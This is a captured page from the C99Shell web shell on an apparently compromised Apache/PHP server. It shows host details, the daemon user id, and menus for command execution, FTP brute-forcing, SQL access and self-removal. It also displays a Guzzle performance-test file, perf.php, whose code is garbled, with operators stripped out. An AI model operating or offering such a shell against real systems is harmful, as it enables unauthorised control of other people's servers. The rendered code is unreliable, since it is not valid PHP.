!C99Shell v. 2.1 [PHP 8 Update] [02.02.2022]!

Software: Apache/2.4.53 (Unix) OpenSSL/1.1.1o PHP/7.4.29 mod_perl/2.0.12 Perl/v5.34.1. PHP/7.4.29 

uname -a: Linux vps-2738122-x 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64 

uid=1(daemon) gid=1(daemon) grupos=1(daemon) 

Safe-mode: OFF (not secure)

/opt/apex_led/php/vendor/guzzlehttp/guzzle/tests/   drwxrwxr-x
Free 15.62 GB of 61.93 GB (25.23%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     perf.php (1.82 KB)      -rwxrwxr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/*
 * Runs a performance test against the node.js server for both serial and
 * parallel requests. Requires PHP 5.5 or greater.
 *
 *     # Basic usage
 *     make perf
 *     # With custom options
 *     REQUESTS=100 PARALLEL=5000 make perf
 */

require __DIR__ '/bootstrap.php';

use 
GuzzleHttp\Client;
use 
GuzzleHttp\Tests\Server;
use 
GuzzleHttp\Ring\Client\CurlMultiHandler;
use 
GuzzleHttp\Pool;

// Wait until the server is responding
Server::wait();

// Get custom make variables
$total = isset($_SERVER['REQUESTS']) ? $_SERVER['REQUESTS'] : 1000;
$parallel = isset($_SERVER['PARALLEL']) ? $_SERVER['PARALLEL'] : 100;

$client = new Client(['base_url' => Server::$url]);

$t microtime(true);
for (
$i 0$i $total$i++) {
    
$client->get('/guzzle-server/perf');
}
$totalTime microtime(true) - $t;
$perRequest = ($totalTime $total) * 1000;
printf("Serial: %f (%f ms / request) %d total\n",
    
$totalTime$perRequest$total);

// Create a generator used to yield batches of requests
$reqs = function () use ($client$total) {
    for (
$i 0$i $total$i++) {
        yield 
$client->createRequest('GET''/guzzle-server/perf');
    }
};

$t microtime(true);
Pool::send($client$reqs(), ['parallel' => $parallel]);
$totalTime microtime(true) - $t;
$perRequest = ($totalTime $total) * 1000;
printf("Batch:  %f (%f ms / request) %d total with %d in parallel\n",
    
$totalTime$perRequest$total$parallel);

$handler = new CurlMultiHandler(['max_handles' => $parallel]);
$client = new Client(['handler' => $handler'base_url' => Server::$url]);
$t microtime(true);
for (
$i 0$i $total$i++) {
    
$client->get('/guzzle-server/perf');
}
unset(
$client);
$totalTime microtime(true) - $t;
$perRequest = ($totalTime $total) * 1000;
printf("Future: %f (%f ms / request) %d total\n",
    
$totalTime$perRequest$total);

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.1 [PHP 8 Update] [02.02.2022] maintained byC99Shell Github | Generation time: 0.2951 ]--